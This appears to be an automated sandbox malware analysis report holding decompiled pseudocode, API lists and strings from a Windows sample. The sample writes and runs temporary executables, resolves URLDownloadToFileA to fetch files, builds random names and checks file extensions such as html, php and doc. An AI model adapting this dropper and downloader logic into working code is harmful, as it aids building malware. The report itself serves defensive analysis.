Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: File$lstrlen$CreateSizeWrite$CloseHandlePointerRead
String ID: $.
API String ID: 2059494333-3929174939
Opcode ID: 555209977dd7f61af360ae51e36ae12b9c11cae2c95c9b266d9ad5083ad1dd06
Instruction ID: 330a0651d7a757380811ed2d4a39bd4f834bab233f08717d63250c6a01a72e4e
Opcode Fuzzy Hash: 555209977dd7f61af360ae51e36ae12b9c11cae2c95c9b266d9ad5083ad1dd06
Instruction Fuzzy Hash: 17B1DDB4804304DBDB10EF65C59579EBBF4BF44304F00896EE898A7391E7799648CF96

Uniqueness

Uniqueness Score: -1.00%

Function 1000157E Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 131
fileprocesssynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E1000157E(signed int __edx, int _a4) {
				void* _v16;
				char _v300;
				char _v572;
				char _v1596;
				short _v1628;
				intOrPtr _v1632;
				long _v1648;
				long _v1652;
				CHAR* _v1656;
				CHAR* _v1660;
				char _v1676;
				struct _PROCESS_INFORMATION _v1692;
				char _v1696;
				void* _v1728;
				void* _v1732;
				void* _v1736;
				void* _v1740;
				CHAR* _v1744;
				intOrPtr _v1748;
				CHAR* _v1752;
				CHAR* _v1756;
				char* _v1760;
				CHAR* _v1764;
				CHAR* _v1768;
				signed int _t64;
				CHAR* _t67;
				int _t73;
				int _t74;
				CHAR* _t86;
				CHAR* _t87;
				CHAR* _t88;
				signed int _t89;
				CHAR* _t91;
				CHAR* _t92;
				CHAR* _t93;
				struct _STARTUPINFOA* _t94;
				void* _t95;
				void* _t99;
				CHAR** _t100;
				CHAR** _t101;

				_t89 = __edx;
				_t86 =  &_v300;
				GetTempPathA(0x104, _t86);
				_t93 =  &_v572;
				GetTempFileNameA(_t86, 0x10005000, 0, _t93);
				_t64 = CreateFileA(_t93, 0x40000000, 1, 0, 2, 0x80, 0);
				_t99 = _t95 - 0x698;
				_t92 = _t64;
				if(((_t64 & 0xffffff00 | _t64 == 0xffffffff | _t89 & 0xffffff00 | _t64 == 0x00000000) & 0x00000001) == 0) {
					_t87 =  &_v1596;
					while(1) {
						_v1744 = 0;
						_v1748 = 0x400;
						_v1752 = _t87;
						_t67 = _a4;
						_v1756 = _t67;
						L10003004();
						_t100 = _t99 - 0x10;
						_t91 = _t67;
						if(_t67 <= 0) {
							break;
						}
						_v1756 = 0;
						_v1760 =  &_v1696;
						_v1764 = _t91;
						_v1768 = _t87;
						 *_t100 = _t92;
						WriteFile(??, ??, ??, ??, ??);
						_t99 = _t100 - 0x14;
					}
					 *_t100 = _t92;
					CloseHandle(??);
					_t101 = _t100 - 4;
					_t94 =  &_v1676;
					_v1764 = 0x44;
					_v1768 = 0;
					 *_t101 = _t94;
					memset(??, ??, ??);
					_v1676 = 0x44;
					_v1632 = 0x87;
					_v1656 = 0;
					_v1660 = 0;
					_v1648 = 1;
					_v1652 = 1;
					_v1628 = 0;
					_v1764 =  &_v572;
					_v1768 = 0x10005004;
					_t88 =  &_v1596;
					 *_t101 = _t88;
					wsprintfA(??, ??);
					_t73 = CreateProcessA(0, _t88, 0, 0, 0, 0, 0, 0, _t94,  &_v1692);
					_t99 = _t101 - 0x28;
					if(_t73 == 0) {
						L7:
						_t74 = _a4;
						_v1764 = _t74;
						L10003014();
						if(_t92 != 0) {
							_t74 = DeleteFileA( &_v572);
						}
						L9:
						return _t74;
					}
					WaitForSingleObject(_v1692.hProcess, 0xffffffff);
					CloseHandle(_v1692.hThread);
					CloseHandle(_v1692);
					DeleteFileA( &_v572);
					_t74 = _a4;
					_v1764 = _t74;
					L10003014();
					goto L9;
				}
				_t92 = 0;
				goto L7;
			}

0x1000157e
0x1000158a
0x1000159b
0x100015a3
0x100015c0
0x100015fb
0x10001600
0x10001603
0x10001614
0x10001620
0x10001626
0x10001626
0x1000162e
0x10001636
0x1000163a
0x1000163d
0x10001640
0x10001645
0x10001648
0x1000164c
0x00000000
0x00000000
0x1000164e
0x1000165c
0x10001660
0x10001664
0x10001668
0x1000166b
0x10001670
0x10001670
0x10001675
0x10001678
0x1000167d
0x10001680
0x10001686
0x1000168e
0x10001696
0x10001699
0x1000169e
0x100016a8
0x100016b2
0x100016bc
0x100016c6
0x100016d0
0x100016da
0x100016e9
0x100016ed
0x100016f5
0x100016fb
0x100016fe
0x1000174c
0x10001751
0x10001756
0x100017b4
0x100017b4
0x100017b7
0x100017ba
0x100017c4
0x100017cf
0x100017d4
0x100017d7
0x100017de
0x100017de
0x10001769
0x1000177a
0x1000178b
0x1000179c
0x100017a4
0x100017a7
0x100017aa
0x00000000
0x100017af
0x10001616
0x00000000

APIs

GetTempPathA.KERNEL32 ref: 1000159B
GetTempFileNameA.KERNEL32 ref: 100015C0
CreateFileA.KERNEL32 ref: 100015FB
WriteFile.KERNEL32 ref: 1000166B
CloseHandle.KERNEL32 ref: 10001678
memset.MSVCRT ref: 10001699
wsprintfA.USER32 ref: 100016FE
CreateProcessA.KERNEL32 ref: 1000174C
WaitForSingleObject.KERNEL32 ref: 10001769
CloseHandle.KERNEL32 ref: 1000177A
CloseHandle.KERNEL32 ref: 1000178B
DeleteFileA.KERNEL32 ref: 1000179C
closesocket.WS2_32 ref: 100017AA
closesocket.WS2_32 ref: 100017BA
DeleteFileA.KERNEL32 ref: 100017CF

Strings

D, xrefs: 1000169E
D, xrefs: 10001686

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: File$CloseHandle$CreateDeleteTempclosesocket$NameObjectPathProcessSingleWaitWritememsetwsprintf
String ID: D$D
API String ID: 3923095081-143366177
Opcode ID: e02e9eaa58c48b76b552a7f084af21d14f79f840054da78fec714ba6f5058f6d
Instruction ID: 79cbd1979514fdd573897922439d2e9c43dfc8d5b4461daef0bd91c82e7501b0
Opcode Fuzzy Hash: e02e9eaa58c48b76b552a7f084af21d14f79f840054da78fec714ba6f5058f6d
Instruction Fuzzy Hash: 57512FB48097049EE710EF24C98939FBBF4EF84398F40895CE89857255D77A9698CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00406F1C Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 123librarystringfileCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00406F5D
GetProcAddress.KERNEL32 ref: 00406F7A
FreeLibrary.KERNEL32 ref: 00406F8E
GetSystemDirectoryA.KERNEL32 ref: 00406FB1
lstrlen.KERNEL32 ref: 00406FBC
lstrcat.KERNEL32 ref: 00406FD9
_mbscat.MSVCRT ref: 00407014
DeleteFileA.KERNEL32 ref: 00407059

Strings

urlmon.dll, xrefs: 00406F56
URLDownloadToFileA, xrefs: 00406F6F
D, xrefs: 00407071
D, xrefs: 00407089

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Library$AddressDeleteDirectoryFileFreeLoadProcSystem_mbscatlstrcatlstrlen
String ID: D$D$URLDownloadToFileA$urlmon.dll
API String ID: 2488436691-568779862
Opcode ID: 74e3270b2b6714ab6cf254762190580809479b14a45afd7e6c1fb6f99d803b71
Instruction ID: 6020ed59d1fb2f3a26d031d0468f3da87cf9bf9a4133c77db0aeb5110a75bae0
Opcode Fuzzy Hash: 74e3270b2b6714ab6cf254762190580809479b14a45afd7e6c1fb6f99d803b71
Instruction Fuzzy Hash: F451E0B0804744CBD750EF29D98579EBBF0BF44314F404A6EE8899B381D7789688CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402120 Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402120(intOrPtr _a4) {
				intOrPtr _v76;
				char _v82;
				short _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v104;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				signed int _t64;
				signed int _t67;
				signed int _t68;
				void* _t69;
				short* _t70;
				signed int _t71;
				intOrPtr _t72;
				void* _t73;
				void* _t74;
				intOrPtr* _t75;

				_t72 = _a4;
				_t69 =  &_v92;
				asm("cld");
				memset(_t69, 0, 3 << 2);
				_t75 = _t74 + 0xc;
				_t70 = _t69 + 3;
				 *_t70 = 0;
				 *((char*)(_t70 + 2)) = 0;
				_v92 = 0x6b6c7665;
				_v88 = 0x686f6472;
				_v84 = 0x706c;
				_v82 = 0;
				_t9 =  &_v92; // 0x6b6c7665
				_v104 = _t9;
				 *_t75 = 0x40e44a;
				E00404C6A();
				E00402106();
				_t64 =  *0x414008;
				_t71 = 0;
				do {
					_t67 = _t64 * 0xcccccccd >> 0x20 >> 3;
					 *((intOrPtr*)(_t73 + _t71 * 4 - 0x48)) = _t64 - _t67 + _t67 * 4 + _t67 + _t67 * 4;
					_t64 = _t67;
					_t71 = _t71 + 1;
				} while (_t71 <= 9);
				_t68 = 0;
				do {
					 *((char*)(_t68 + _t72)) =  *( *((intOrPtr*)(_t73 + _t68 * 4 - 0x48)) +  &_v92) & 0x000000ff;
					_t68 = _t68 + 1;
				} while (_t68 <= 9);
				 *((char*)(_t72 + 0xa)) = 0;
				if(_v76 != 0) {
					if(_v76 != 1) {
						if(_v76 != 2) {
							if(_v76 != 3) {
								if(_v76 != 4) {
									if(_v76 != 5) {
										if(_v76 != 6) {
											_t53 =  *0x40d07c; // 0x40e446
											_v104 = _t53;
											 *_t75 = _t72;
											L0040C208();
											return _t53;
										}
										_t54 =  *0x40d078; // 0x40e440
										_v104 = _t54;
										 *_t75 = _t72;
										L0040C208();
										return _t54;
									}
									_t55 =  *0x40d074; // 0x40e43c
									_v104 = _t55;
									 *_t75 = _t72;
									L0040C208();
									return _t55;
								}
								_t56 =  *0x40d070; // 0x40e437
								_v104 = _t56;
								 *_t75 = _t72;
								L0040C208();
								return _t56;
							}
							_t57 =  *0x40d06c; // 0x40e432
							_v104 = _t57;
							 *_t75 = _t72;
							L0040C208();
							return _t57;
						}
						_t58 =  *0x40d068; // 0x40e42e
						_v104 = _t58;
						 *_t75 = _t72;
						L0040C208();
						return _t58;
					}
					_t59 =  *0x40d064; // 0x40e429
					_v104 = _t59;
					 *_t75 = _t72;
					L0040C208();
					return _t59;
				}
				_t60 =  *0x40d060; // 0x40e424
				_v104 = _t60;
				 *_t75 = _t72;
				L0040C208();
				return _t60;
			}

0x00402129
0x0040212c
0x0040212f
0x0040213a
0x0040213a
0x0040213a
0x0040213c
0x00402141
0x00402145
0x0040214c
0x00402153
0x00402159
0x0040215d
0x00402160
0x00402164
0x0040216b
0x00402170
0x00402175
0x0040217b
0x00402185
0x00402189
0x00402193
0x00402197
0x00402199
0x0040219a
0x0040219f
0x004021a4
0x004021ad
0x004021b0
0x004021b1
0x004021b6
0x004021be
0x004021da
0x004021f6
0x0040220f
0x00402228
0x00402241
0x0040225a
0x0040226f
0x00402274
0x00402278
0x0040227b
0x00000000
0x0040227b
0x0040225c
0x00402261
0x00402265
0x00402268
0x00000000
0x00402268
0x00402243
0x00402248
0x0040224c
0x0040224f
0x00000000
0x0040224f
0x0040222a
0x0040222f
0x00402233
0x00402236
0x00000000
0x00402236
0x00402211
0x00402216
0x0040221a
0x0040221d
0x00000000
0x0040221d
0x004021f8
0x004021fd
0x00402201
0x00402204
0x00000000
0x00402204
0x004021dc
0x004021e1
0x004021e5
0x004021e8
0x00000000
0x004021e8
0x004021c0
0x004021c5
0x004021c9
0x004021cc
0x00000000

APIs

_mbscat.MSVCRT ref: 004021CC
_mbscat.MSVCRT ref: 004021E8
_mbscat.MSVCRT ref: 00402204

Strings

)@, xrefs: 004021DC
.@, xrefs: 004021F8
evlkrdohlp, xrefs: 0040215D
F@, xrefs: 0040226F
2@, xrefs: 00402211
@@, xrefs: 0040225C
<@, xrefs: 00402243
$@, xrefs: 004021C0
7@, xrefs: 0040222A

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: _mbscat
String ID: $@$)@$.@$2@$7@$<@$@@$F@$evlkrdohlp
API String ID: 134015809-3435826350
Opcode ID: ba1be5f7a4b05f6ad6f1eb42656a354e92ad3395ec866426798a2edddf5be352
Instruction ID: 21a54818e9aca3eeccc7b18a3caaa5206cc12068587b62876ebf60fed946ae37
Opcode Fuzzy Hash: ba1be5f7a4b05f6ad6f1eb42656a354e92ad3395ec866426798a2edddf5be352
Instruction Fuzzy Hash: 7D411A70E04244DBCB509FA9D68565EBBF0AB45708F10457FE498AB3C1D3789986CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00403622 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 103
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00403622(signed int __eax, signed int __edx, intOrPtr _a4, intOrPtr _a8) {
				void* _v16;
				char _v300;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v324;
				intOrPtr _v332;
				intOrPtr _v340;
				intOrPtr _v348;
				intOrPtr _v356;
				intOrPtr _v364;
				intOrPtr _v372;
				intOrPtr _v380;
				void* __ebx;
				signed int _t32;
				char _t37;
				char* _t38;
				intOrPtr _t41;
				signed int _t42;
				intOrPtr _t43;
				char _t44;
				char* _t45;
				void* _t46;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;

				_t42 = __edx;
				_t32 = __eax;
				_t47 = _t46 - 0x12c;
				_t43 = _a4;
				_t41 = _a8;
				_t37 = 0;
				_t44 = 0xffffffff;
				if( *((char*)(_t41 + 0x2c)) == 0) {
					L4:
					if(_t44 >= 0) {
						_v308 = 0x103;
						_v312 = _t41 + _t44 + 0x2d;
						_t38 =  &_v300;
						 *_t47 = _t38;
						L0040C350();
						_t48 = _t47 - 0xc;
						 *_t48 = _t38;
						_t32 = CharLowerA(??);
						_t47 = _t48 - 4;
					} else {
						_v300 = 0;
					}
					_v324 = 0x40efb2;
					_t45 =  &_v300;
					 *_t47 = _t45;
					L0040C318();
					_t49 = _t47 - 8;
					if(_t32 == 0) {
						L15:
						 *_t49 = _t43;
						_t32 =  ~((E00402F2E(1, _t42) & 0xffffff00 | _t34 != 0x00000000) & 0x000000ff);
						if((0x00000001 & _t32) == 1) {
							 *_t49 = _t43;
							_t32 = E0040307E(_t42);
						}
						goto L17;
					} else {
						_v332 = 0x40efb7;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v340 = 0x40efbb;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v348 = 0x40efbf;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v356 = 0x40efc3;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v364 = 0x40efc7;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v372 = 0x40ee83;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 == 0) {
							goto L15;
						}
						_v380 = 0x40efca;
						 *_t49 = _t45;
						L0040C318();
						_t49 = _t49 - 8;
						if(_t32 != 0) {
							L17:
							return _t32;
						}
						goto L15;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					if( *((char*)(_t41 + _t37 + 0x2c)) == 0x2e) {
						_t44 = _t37;
					}
					_t37 = _t37 + 1;
					_t42 = _t42 & 0xffffff00 |  *((char*)(_t41 + _t37 + 0x2c)) != 0x00000000;
					_t32 = _t32 & 0xffffff00 | _t37 - 0x000000fe <= 0x00000000;
				} while ((_t42 & _t32) != 0);
				goto L4;
			}

0x00403622
0x00403622
0x00403628
0x0040362e
0x00403631
0x00403634
0x00403639
0x00403642
0x00403663
0x00403665
0x00403670
0x0040367c
0x00403680
0x00403686
0x00403689
0x0040368e
0x00403691
0x00403694
0x00403699
0x00403667
0x00403667
0x00403667
0x004036a1
0x004036a9
0x004036af
0x004036b2
0x004036b7
0x004036bc
0x00403767
0x00403767
0x00403777
0x0040377e
0x00403780
0x00403783
0x00403783
0x00000000
0x004036c2
0x004036c2
0x004036ca
0x004036cd
0x004036d2
0x004036d7
0x00000000
0x00000000
0x004036dd
0x004036e5
0x004036e8
0x004036ed
0x004036f2
0x00000000
0x00000000
0x004036f4
0x004036fc
0x004036ff
0x00403704
0x00403709
0x00000000
0x00000000
0x0040370b
0x00403713
0x00403716
0x0040371b
0x00403720
0x00000000
0x00000000
0x00403722
0x0040372a
0x0040372d
0x00403732
0x00403737
0x00000000
0x00000000
0x00403739
0x00403741
0x00403744
0x00403749
0x0040374e
0x00000000
0x00000000
0x00403750
0x00403758
0x0040375b
0x00403760
0x00403765
0x00403788
0x0040378f
0x0040378f
0x00000000
0x00403765
0x00000000
0x00000000
0x00000000
0x00403644
0x00403644
0x00403649
0x0040364b
0x0040364b
0x0040364d
0x00403653
0x0040365c
0x0040365f
0x00000000

APIs

lstrcpyn.KERNEL32 ref: 00403689
CharLowerA.USER32 ref: 00403694
lstrcmp.KERNEL32 ref: 004036B2
lstrcmp.KERNEL32 ref: 004036CD
lstrcmp.KERNEL32 ref: 004036E8
lstrcmp.KERNEL32 ref: 004036FF
lstrcmp.KERNEL32 ref: 00403716
lstrcmp.KERNEL32 ref: 0040372D
lstrcmp.KERNEL32 ref: 00403744
lstrcmp.KERNEL32 ref: 0040375B

Strings

tbb, xrefs: 00403750
doc, xrefs: 0040370B
xml, xrefs: 004036F4
html, xrefs: 004036A1
php, xrefs: 00403739
htm, xrefs: 004036C2
txt, xrefs: 004036DD

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcmp$CharLowerlstrcpyn
String ID: doc$htm$html$php$tbb$txt$xml
API String ID: 838419190-2496469446
Opcode ID: 224cabb6541a4449cfda70ae68bee2be7fcebbb5efeb781ad9319cfc72626951
Instruction ID: 6961f7bd5c8fa27dba0ec7a422f8e7192e07f4a6a10a31976eaf7852eedd0230
Opcode Fuzzy Hash: 224cabb6541a4449cfda70ae68bee2be7fcebbb5efeb781ad9319cfc72626951
Instruction Fuzzy Hash: FE31B1B44047409AC7107F368A8526E7EE89B4078DF01897FEC80676C2D73C8A59CB9F

Uniqueness

Uniqueness Score: -1.00%

Function 10001170 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E10001170(void* __eax) {
				void* _v20;
				short _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char _v112;
				short _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				char _v192;
				int _v196;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				void* __ebx;
				char _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				signed int _t68;
				intOrPtr _t71;
				void* _t72;
				signed char _t90;
				char _t93;
				intOrPtr _t94;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr _t100;
				void* _t105;
				void* _t107;
				signed int _t108;
				signed int _t114;
				void* _t118;
				signed int _t119;
				signed int _t124;
				signed int _t127;
				struct _IO_FILE* _t131;
				struct _IO_FILE* _t133;
				signed int* _t134;
				intOrPtr* _t135;
				intOrPtr* _t137;
				intOrPtr* _t138;
				signed int* _t139;

				_pop(_t130);
				_t131 = _t133;
				_push(_t107);
				_t134 = _t133 - 0xcc;
				if( *0x10006114 == 0) {
					_v112 = 0x41414141;
					_t58 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
					_t127 =  &_v112;
					_v108 = 0x41414141;
					_v104 = 0x41414141;
					_v80 = _t58;
					_t59 = M10005250; // 0x57434347
					_v100 = 0x41414141;
					_v96 = 0x41414141;
					_v76 = _t59;
					_t60 = M10005254; // 0x452d3233
					_v92 = 0x41414141;
					_v88 = 0x41414141;
					_v72 = _t60;
					_t61 = M10005258; // 0x2d322d48
					_v84 = 0x41414141;
					_v68 = _t61;
					_t62 = M1000525C; // 0x4a4c4a53
					_v64 = _t62;
					_t63 = M10005260; // 0x4854472d
					_v60 = _t63;
					_t64 = M10005264; // 0x494d2d52
					_v56 = _t64;
					_t65 =  *0x10005268; // 0x3357474e
					_v52 = _t65;
					_v48 =  *0x1000526c & 0x0000ffff;
					 *_t134 = _t127;
					_t68 = FindAtomA(??) & 0x0000ffff;
					_t135 = _t134 - 4;
					_v196 = _t68;
					if(_t68 != 0) {
						L11:
						_t108 = E10003150(_t68, _t107);
					} else {
						 *_t135 = 0x3c;
						_t72 = malloc(??);
						_t108 = _t72;
						if(_t72 == 0) {
							abort();
							0;
							0;
							_t137 = _t135 - 0x18;
							_v232 = _v204;
							_v236 = _v208;
							_v240 = _v212;
							_v244 = _v216;
							 *_t137 =  *0x10008258 + 0x40;
							fprintf(??, ??);
							 *_t137 =  *0x10008258 + 0x40;
							fflush(_t131);
							abort();
							0;
							goto ( *0x10008244);
						}
						asm("cld");
						memset(_t72, _v196, 0xf << 2);
						_t138 = _t135 + 0xc;
						 *((intOrPtr*)(_t108 + 4)) = L100034E8;
						_t114 = 1;
						 *((intOrPtr*)(_t108 + 8)) = E10003140;
						 *_t108 = 0x3c;
						 *((intOrPtr*)(_t108 + 0x28)) = 0;
						 *((intOrPtr*)(_t108 + 0x14)) =  *0x10006034;
						 *((intOrPtr*)(_t108 + 0x18)) =  *0x10006038;
						 *((intOrPtr*)(_t108 + 0x1c)) =  *0x10004064;
						 *((intOrPtr*)(_t108 + 0x20)) =  *0x10004068;
						 *((intOrPtr*)(_t108 + 0x30)) = 0xffffffff;
						 *((intOrPtr*)(_t108 + 0x2c)) =  *0x10006044;
						 *((intOrPtr*)(_t108 + 0x38)) =  *0x10004070;
						_t118 = 0x1f;
						 *((intOrPtr*)(_t108 + 0x34)) =  *0x1000406c;
						do {
							_t90 = _t108 & _t114;
							asm("sbb eax, eax");
							_t114 = _t114 + _t114;
							 *((char*)(_t118 +  &_v192)) = (_t90 & 0x00000020) + 0x41;
							_t118 = _t118 - 1;
						} while (_t118 >= 0);
						_t93 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
						_v160 = _t93;
						_t94 = M10005250; // 0x57434347
						_v156 = _t94;
						_t95 = M10005254; // 0x452d3233
						_v152 = _t95;
						_t96 = M10005258; // 0x2d322d48
						_v148 = _t96;
						_t97 = M1000525C; // 0x4a4c4a53
						_v144 = _t97;
						_t98 = M10005260; // 0x4854472d
						_v140 = _t98;
						_t99 = M10005264; // 0x494d2d52
						_v136 = _t99;
						_t100 =  *0x10005268; // 0x3357474e
						_v132 = _t100;
						_v128 =  *0x1000526c & 0x0000ffff;
						 *_t138 =  &_v192;
						_t124 = AddAtomA(??) & 0x0000ffff;
						_t139 = _t138 - 4;
						if(_t124 != 0) {
							_t105 = E10003150(_t124, _t108);
							_t119 = _t124;
							if(_t105 != _t108) {
								goto L8;
							} else {
								goto L9;
							}
							goto L18;
						} else {
							L8:
							_t119 = 0;
						}
						L9:
						if(_t119 == 0) {
							 *_t139 = _t108;
							L10003498();
							 *_t139 = _t127;
							_t68 = FindAtomA(??) & 0x0000ffff;
							goto L11;
						}
					}
					 *0x10006114 = _t108;
					_t46 = _t108 + 4; // 0x4
					 *0x10006104 = _t46;
					_t47 = _t108 + 8; // 0x8
					_t71 = _t47;
					 *0x10006124 = _t71;
					return _t71;
				} else {
					return __eax;
				}
				L18:
			}

0x10001173
0x100031f1
0x100031f5
0x100031f6
0x10003204
0x1000320e
0x10003215
0x1000321a
0x1000321d
0x10003224
0x1000322b
0x1000322e
0x10003233
0x1000323a
0x10003241
0x10003244
0x10003249
0x10003250
0x10003257
0x1000325a
0x1000325f
0x10003266
0x10003269
0x1000326e
0x10003271
0x10003276
0x10003279
0x1000327e
0x10003281
0x10003286
0x10003290
0x10003294
0x1000329d
0x100032a0
0x100032a5
0x100032ab
0x100033ec
0x100033f1
0x100032b1
0x100032b1
0x100032b8
0x100032bf
0x100032c1
0x10003420
0x1000342b
0x1000342f
0x10003433
0x10003439
0x10003440
0x10003447
0x1000344e
0x1000345a
0x1000345d
0x1000346a
0x1000346d
0x10003472
0x1000347d
0x10003480
0x10003480
0x100032c7
0x100032d5
0x100032d5
0x100032d7
0x100032de
0x100032e3
0x100032ef
0x100032fb
0x10003302
0x1000330a
0x10003313
0x1000331b
0x1000331e
0x10003325
0x10003333
0x10003336
0x1000333b
0x10003340
0x10003342
0x10003347
0x1000334b
0x1000334f
0x10003356
0x10003356
0x10003359
0x1000335e
0x10003364
0x10003369
0x1000336f
0x10003374
0x1000337a
0x1000337f
0x10003385
0x1000338a
0x10003390
0x10003395
0x1000339b
0x100033a0
0x100033a3
0x100033a8
0x100033b2
0x100033bc
0x100033c5
0x100033c8
0x100033cd
0x10003413
0x1000341a
0x1000341c
0x00000000
0x1000341e
0x00000000
0x1000341e
0x00000000
0x100033cf
0x100033cf
0x100033cf
0x100033cf
0x100033d1
0x100033d3
0x100033d5
0x100033d8
0x100033dd
0x100033e9
0x00000000
0x100033e9
0x100033d3
0x100033f3
0x100033f9
0x100033fc
0x10003401
0x10003401
0x10003404
0x10003410
0x10003206
0x1000320d
0x1000320d
0x00000000

APIs

FindAtomA.KERNEL32 ref: 10003297
malloc.MSVCRT ref: 100032B8
AddAtomA.KERNEL32 ref: 100033BF

Strings

AAAA, xrefs: 10003249
AAAA, xrefs: 1000320E
AAAA, xrefs: 10003224
AAAA, xrefs: 10003233
-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32, xrefs: 10003215, 10003359
AAAA, xrefs: 10003250
AAAA, xrefs: 1000325F
AAAA, xrefs: 1000323A
AAAA, xrefs: 1000321D

Memory Dump Source

